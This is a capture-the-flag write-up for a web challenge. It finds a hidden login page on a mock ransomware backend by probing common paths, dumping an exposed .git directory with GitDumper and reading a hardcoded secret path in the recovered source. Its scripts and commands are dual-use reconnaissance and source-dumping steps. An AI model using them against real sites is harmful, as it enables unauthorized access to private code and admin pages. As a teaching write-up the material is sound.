b2

December 9, 2022

1 Task B2 - Getting Deeper - (Web Hacking, [redacted])Points: 100

1.1 Problem statement

It looks like the backend site you discovered has some security features to prevent you from snooping. They must have hidden the login page away somewhere hard to guess.

Analyze the backend site, and find the URL to the login page.

Hint: this group seems a bit sloppy. They might be exposing more than they intend to.

Warning: Forced-browsing tools, such as DirBuster, are unlikely to be very helpful for this challenge, and may get your IP address automatically blocked by AWS as a DDoS-prevention measure. Codebreaker has no control over this blocking, so we suggest not attempting to use these techniques.

1.2 What to do

Enter the URL for the login page

1.3 Write-up

This webpage is the answer of B1.

https://fqdhyckntpkovqhu.ransommethis.net/demand

So, the domain is `https://fqdhyckntpkovqhu.ransommethis.net/`.

Try these pages to get the entry page for this problem. Following is the script to try all combinations.

```
import requests

BASE_URL = "https://fqdhyckntpkovqhu.ransommethis.net/"

if __name__ == "__main__":
    res = []
    with open("data/b2/common.txt", "r") as f:
        lines = f.readlines()
        for line in lines:
            url = BASE_URL + line.strip()
            r = requests.get(url)
            if r.status_code == 200:
```

```
                print(f"{url} is vulnerable")
                res.append(url)
    print(f"Vulnerable URLs: {res}")
```

Following is the result.

```
https://fqdhyckntpkovqhu.ransommethis.net/.git/HEAD is vulnerable
https://fqdhyckntpkovqhu.ransommethis.net/.git/config is vulnerable
https://fqdhyckntpkovqhu.ransommethis.net/.git/index is vulnerable
Vulnerable URLs: ['https://fqdhyckntpkovqhu.ransommethis.net/.git/HEAD', 'https://fqdhyckntpkov
```

You've found something at https://fqdhyckntpkovqhu.ransommethis.net/.git/. Access .git/ folder to fetch the repository. Following are the commands to do that.

[1]:
```
%%bash
curl https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/
 ↪gitdumper.sh > ./data/b2/gitdumper.sh
```

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4389  100  4389    0     0  28512      0 --:--:-- --:--:-- --:--:-- 29857
```

[2]:
```
%%bash
chmod +x ./data/b2/gitdumper.sh
./data/b2/gitdumper.sh https://fqdhyckntpkovqhu.ransommethis.net/.git/ ./data/
 ↪b2/repo
```

```
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[-] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[-] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
```

```
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[-] Downloaded: objects/00/0000000000000000000000000000000000000000
[+] Downloaded: objects/d4/a4871a24f2a62b2ac728103c5a7c58b84a0708
[+] Downloaded: objects/3f/3ce9eeac9c9f3d5be05e91ac97f266d484c27b
[+] Downloaded: objects/fc/46c46e55ad48869f4b91c2ec8756e92cc01057
[+] Downloaded: objects/dd/5520ca788a63f9ac7356a4b06bd01ef708a196
[+] Downloaded: objects/47/709845a9b086333ee3f470a102befdd91f548a
[+] Downloaded: objects/97/e95b51e464ca1e16f732ea6ba083a03f1f258e
[-] Downloaded: objects/fb/93f4116f9acbbeae1e3fc37f51403cf2bfa569
[-] Downloaded: objects/76/82dc8afb30297001674575ea00d1814d808d6a
[-] Downloaded: objects/bb/4d8133cb15a609f44e8213d9b391b080979506
[-] Downloaded: objects/76/ec2cde23700a6fc4fee098168b9dee43b99c2f
[-] Downloaded: objects/84/b5f71ed30021193cb0faa45d7776e1083f392c
[-] Downloaded: objects/31/5ded2ddf8a6281567edb27393010fe3406188b
[-] Downloaded: objects/fa/d5b446feb0d6db6aec0c3184d16a8c1f6c3e46
[-] Downloaded: objects/cb/08ed940183f6343a64e465e83b3a3f13c53e1b
[-] Downloaded: objects/2c/2349112351b88699d8d4b6b075022c0808887c
[-] Downloaded: objects/5d/bbc68b317e5e42f327f9021763545dc3fc3bfe
[-] Downloaded: objects/31/351a702a408a9e7595a8fc6150fc3f43bb6bf7
[-] Downloaded: objects/60/88930bfe239f0e6710546ab9c19c9ef35e2979
[-] Downloaded: objects/02/12a68688482dc52b2d45013df70d169f542b73
[-] Downloaded: objects/08/9cf3dbf0cd6c100f02945abeb18484bd1ee57a
[-] Downloaded: objects/10/c1bfff05d95783da83491be968e8fe78926368
[-] Downloaded: objects/33/b74d289bd2f5e527beadcaa3f401e0df0a8992
[-] Downloaded: objects/37/99351e2336dc91ea70b034983ee71cf2f9533c
[-] Downloaded: objects/3c/e11ee3f23f79dbd06fb3d63e2f6af7b12db1d4
[-] Downloaded: objects/42/1be9fbf0ffe9ffd7a378aafebbf6f4602d564d
[-] Downloaded: objects/43/093fb83d8343aac0b1baa75516da6092f58f41
[-] Downloaded: objects/46/d00d6cfecdde84d40e572d63735ef81423ad31
[-] Downloaded: objects/4a/33dea2b688b3190ee12bd7cfa29d39c9ed176b
[-] Downloaded: objects/4b/9fe39a2ccc108a4accc2676e77da025ce383c1
[-] Downloaded: objects/56/442863ed2b06d19c37f94d999035e15ee98298
[-] Downloaded: objects/67/1cd1187ed5e62818414afe79ed29da836dde67
[-] Downloaded: objects/69/4deca8d702d5db21ec83983ce0bb4b26a578e7
[-] Downloaded: objects/6a/074d34ee7a5ce3effbc526b7083ec9731bb3cb
[-] Downloaded: objects/6d/0072fea50feec76a4c418096652f2c3238eaa0
[-] Downloaded: objects/6f/bf47b5d3728c6aea2abb0589b5d30459e369ba
[-] Downloaded: objects/7f/91197cc9e48f989d12e4e6fbc46495c446636d
[-] Downloaded: objects/86/b1f75c4e7c2ac2ccdaec2b9022845dbb81880c
[-] Downloaded: objects/8d/c1c72a69aa7e082593c4a203dcf94ddb74bb5c
[-] Downloaded: objects/8e/3dcf21f367459434c18e71b2a9532d96547aef
[-] Downloaded: objects/8e/576a51ad59e4bfaac456023a78f6b5e6e7651d
[-] Downloaded: objects/96/e37a3dc86e80bf81758c152fe66dbf60ed5eca
[-] Downloaded: objects/97/a68e6ada378df82bc9f16b800ab77cbf4b2fad
[-] Downloaded: objects/99/a2a507ed3ac881b975a2976d59f38c19386d12
```

```
[-] Downloaded: objects/a4/9907dd8420c5685cfa064a1335b6754b74541b
[-] Downloaded: objects/b0/9bf97215625a311f669476f44b8b318b075847
[-] Downloaded: objects/b7/bd98b796e2b6553da7225aeb61f447f80a1ca6
[-] Downloaded: objects/b8/7db43600133271095 64f0e591bd2a3b318547b
[-] Downloaded: objects/bc/b3ed405ed3222f9904899563d6fc492ff75cce
[-] Downloaded: objects/d4/306c36ca495956b6d568d276ac11fdd9c30a36
[-] Downloaded: objects/d5/ee4f386140395a2c818d149221149c54849dfc
[-] Downloaded: objects/dd/a30ba7e87fbbb7eab1ec9f58678558fd9a6b8b
[-] Downloaded: objects/e0/4e26803c9c3851c931eac40c695602c6295b8d
[-] Downloaded: objects/e1/c0b87e09fa55a220f058d1d49d3fb8df88fbfa
[-] Downloaded: objects/e7/2591e9ecd94d7feb70c1cbd7be7b3ebea3f548
[-] Downloaded: objects/e8/c843bbcda3a2f1e3c2ab25913c80a3c5376cd0
[-] Downloaded: objects/ef/c1913fd2ca4f334418481c7e595c00aad18656
[-] Downloaded: objects/f1/21a1420d4e173a5d96e47e9a0c0dcff965afdf
[-] Downloaded: objects/fc/7b548b17d238737688817ab67deebb30e8073c
[-] Downloaded: objects/72/d1d253f32dbd4f5c88eaf1fdc62f3a19f676cc
[-] Downloaded: objects/d4/2908208c699b3b973cbeb01a969ba6a96c821e
[-] Downloaded: objects/2c/737903b2b6864ebc6167eef7cf3b997126f1aa
[-] Downloaded: objects/75/00c9625927c8ec60f54377d590f67b30c8e70e
[-] Downloaded: objects/78/0a4082c5fbc0fde6a2fcfe5e26e6efc1e8f425
[-] Downloaded: objects/1c/e08e8093ed67d638d63879fd1ba3735817f7a8
[-] Downloaded: objects/72/a4b735692dd3135217911cbeaa1be5fa3f62bf
[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
[+] Downloaded: objects/c9/1a4fca2388410cde8d8af1f317bc19a802a461
[+] Downloaded: objects/b7/4c07f2fa23cffe19ef8af211a820f26094a53b
[+] Downloaded: objects/a4/5dd7e290a55af9879f671fc3a78bef5923e249
[+] Downloaded: objects/a8/44f894a3ab80a4850252a81d71524f53f6a384
[+] Downloaded: objects/1d/f0934819e5dcf59ddf7533f9dc6628f7cdcd25
[+] Downloaded: objects/b9/cfd98da0ac95115b1e68967504bd25bd90dc5c
[+] Downloaded: objects/bb/830d20f197ee12c20e2e9f75a71e677c983fcd
[+] Downloaded: objects/50/33b3048b6f351df164bae9c7760c32ee7bc00f
[+] Downloaded: objects/10/917973126c691eae343b530a5b34df28d18b4f
[+] Downloaded: objects/fe/3dcf0ca99da401e093ca614e9dcfc257276530
[+] Downloaded: objects/77/9717af2447e24285059c91854bc61e82f6efa8
[+] Downloaded: objects/05/56cd1e1f584ff5182bbe6b652873c89f4ccf23
[+] Downloaded: objects/56/e0fe4a885b1e4eb66cda5a48ccdb85180c5eb3
[+] Downloaded: objects/ed/1f5ed5bc5c8655d40da77a6cfbaed9d2a1e7fe
[+] Downloaded: objects/c9/80bf6f5591c4ad404088a6004b69c412f0fb8f
[+] Downloaded: objects/47/0d7db1c7dcfa3f36b0a16f2a9eec2aa124407a
```

[3]:
```
%%bash
cd ./data/b2/repo && git restore .
```

Read source code you got.

server.py's line 156 looks the cause.

```
    # Super secret path that no one will ever guess!
    if pathkey != expected_pathkey():
```

```
        return render_template('unauthorized.html'), 403
```

So, go to `expected_pathkey()` and check what path you should visit.

```
def expected_pathkey():
    return "flowgekzpzomwuqv"
```

So, go to `https://fqdhyckntpkovqhu.ransommethis.net/flowgekzpzomwuqv/` and you will be redirected to `https://fqdhyckntpkovqhu.ransommethis.net/flowgekzpzomwuqv/login`.

You've got the flag.